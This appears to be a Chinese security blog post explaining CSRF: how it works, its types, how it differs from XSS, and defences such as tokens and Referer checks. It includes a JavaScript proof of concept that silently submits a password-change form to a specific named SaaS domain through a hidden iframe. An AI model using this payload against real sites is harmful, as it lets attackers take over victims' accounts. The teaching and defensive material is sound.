3、CSRF漏洞

CSRF跨站请求伪造

3.1概念:

挟制用户在当前已登录的web应用程序上执行非本意操作的攻击方法。(攻击者盗用用户在某网站的身份,以用户身份发送恶意请求)

3.2原理:

      简单身份验证只能保证前请求发自用户的浏览器,不能保证请求本身是用户自愿发出的。

HTML中可自动发送HTTP GET请求的标签:img、ifream、src、link

如img标签,浏览器渲染时,并不知道标签中src属性的值是否真的为图片,会根据src中的链接,发起一个HTTP GET请求,携带当前浏览器在目标网站上的凭证(cookie),获取返回结果以图片形式渲染

 

完成一次CSRF攻击,受害者需要完成的两个步骤:

      1、登录信任网站,并在本地生成cookie

      2、不退出情况下,访问危险网站

 

      CSRF分类:GET类和POST类

      CSRF与XSS信任角度区别:

      XSS:利用用户对网站的信任

      CSRF:利用站点对已经身份认证的信任

   一般都存在于一些增删改的功能点上

 

JS:POC
<script type="text/javascript"> // 构造form表单 var frm = document.createElement('form'); frm.action = 'https://saas.jingyingba.com/do/'; frm.method = 'post'; frm.target = 'iframe'; // 设置新的密码 var i1 = document.createElement('input'); i1.name = 'question'; i1.value = 'RenewPWD'; var i2 = document.createElement('input'); i2.name = 'pwd'; i2.value = 'rmb521'; // 把input放到表单里 frm.appendChild(i1); frm.appendChild(i2); // 新建 框架,让表单去框架里跳转 iframe var ifr = document.createElement('iframe'); ifr.name = 'iframe'; // 把表单添加到head里 隐藏 document.head.appendChild(frm); document.head.appendChild(ifr); frm.submit(); //提交表单 去修改密码 </script>

 

3.3 CSRF防御:

      关键操作增加验证码(如支付密码)

      验证HTTP referer字段

      使用token

posted @ 2019-07-15 09:42  guike  阅读(193)  评论(0编辑  收藏  举报